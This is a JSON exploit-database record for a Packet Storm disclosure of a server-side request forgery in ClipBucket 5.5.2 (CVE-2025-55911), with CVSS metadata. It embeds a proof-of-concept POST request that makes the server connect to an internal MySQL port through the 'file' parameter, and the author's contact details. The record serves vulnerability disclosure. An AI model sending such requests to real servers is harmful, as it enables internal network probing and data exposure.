📄 ClipBucket 5.5.2 Build 90 Server-Side Request Forgery_PACKETSTORM:211129

{
    "lastseen": "2025-11-03T16:53:15",
    "description": "ClipBucket.............................................",
    "published": "2025-11-03T00:00:00",
    "modified": "2025-11-03T00:00:00",
    "type": "packetstorm",
    "title": "\ud83d\udcc4 ClipBucket 5.5.2 Build 90 Server-Side Request Forgery",
    "source": "",
    "references": "",
    "id": "PACKETSTORM:211129",
    "bulletinFamily": "exploit",
    "cwe": null,
    "cvelist": [
        "CVE-2025-55911"
    ],
    "sourceData": "# Exploit Title: ClipBucket 5.5.2 Build #90 - Server-Side Request Forgery (SSRF)\n    # Google Dork: N/A\n    # Date: 2025-09-11\n    # Exploit Author: Mukundsinh Solanki (r00td3str0y3r)\n    # Vendor Homepage: https://clipbucket.com\n    # Software Link: https://github.com/MacWarrior/clipbucket-v5\n    # Version: 5.5.2 Build #90\n    # Tested on: Ubuntu 20.04 LTS, PHP 7.4\n    # CVE: CVE-2025-55911\n    \n    ## Vulnerability Description:\n    An authenticated user with regular permissions can exploit a Server-Side\n    Request Forgery (SSRF) vulnerability via the `file` parameter in\n    `actions/file_downloader.php`. By supplying a crafted URL, attackers can\n    force the server to make arbitrary HTTP requests to internal services or\n    external systems. This can lead to internal network enumeration, data\n    exfiltration, or pivoting attacks.\n    \n    ## PoC Request:\n    \n    POST /upload/actions/file_downloader.php HTTP/1.1\n    Host: victim.com\n    Content-Type: application/x-www-form-urlencoded\n    Cookie: PHPSESSID=validsession\n    \n    file=http://127.0.0.1:3306/test.mp4\n    \n    \n    \n    \n    The server attempts to connect to the internal service (`127.0.0.1:3306`),\n    demonstrating SSRF.\n    \n    ## Impact:\n    - Internal service enumeration\n    - Potential metadata leakage\n    - Pivoting to internal systems\n    \n    \n    Regards,\n    Mukundsinh Solanki\n    +916355251151",
    "sourceHref": "https://packetstorm.news/download/211129",
    "cvss": {
        "score": 6.5,
        "severity": "MEDIUM",
        "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
        "version": "3.1"
    },
    "cvss2": [],
    "cvss3": {
        "version": "",
        "vectorString": "",
        "baseScore": 0,
        "baseSeverity": "",
        "attackVector": "",
        "attackComplexity": "",
        "privilegesRequired": "",
        "userInteraction": "",
        "scope": "",
        "confidentialityImpact": "",
        "integrityImpact": "",
        "availabilityImpact": "",
        "cvssV3": {
            "version": "",
            "vectorString": "",
            "baseScore": 0,
            "baseSeverity": "",
            "attackVector": "",
            "attackComplexity": "",
            "privilegesRequired": "",
            "userInteraction": "",
            "scope": "",
            "confidentialityImpact": "",
            "integrityImpact": "",
            "availabilityImpact": ""
        }
    },
    "href": "https://packetstorm.news/files/id/211129/",
    "category_name": "Exploit",
    "post_link": "",
    "product": "",
    "version": "",
    "vendor": "",
    "ai_description": "",
    "ai_severity": "",
    "ai_vendor": "",
    "ai_product": "",
    "ai_version": "",
    "ai_score": 0
}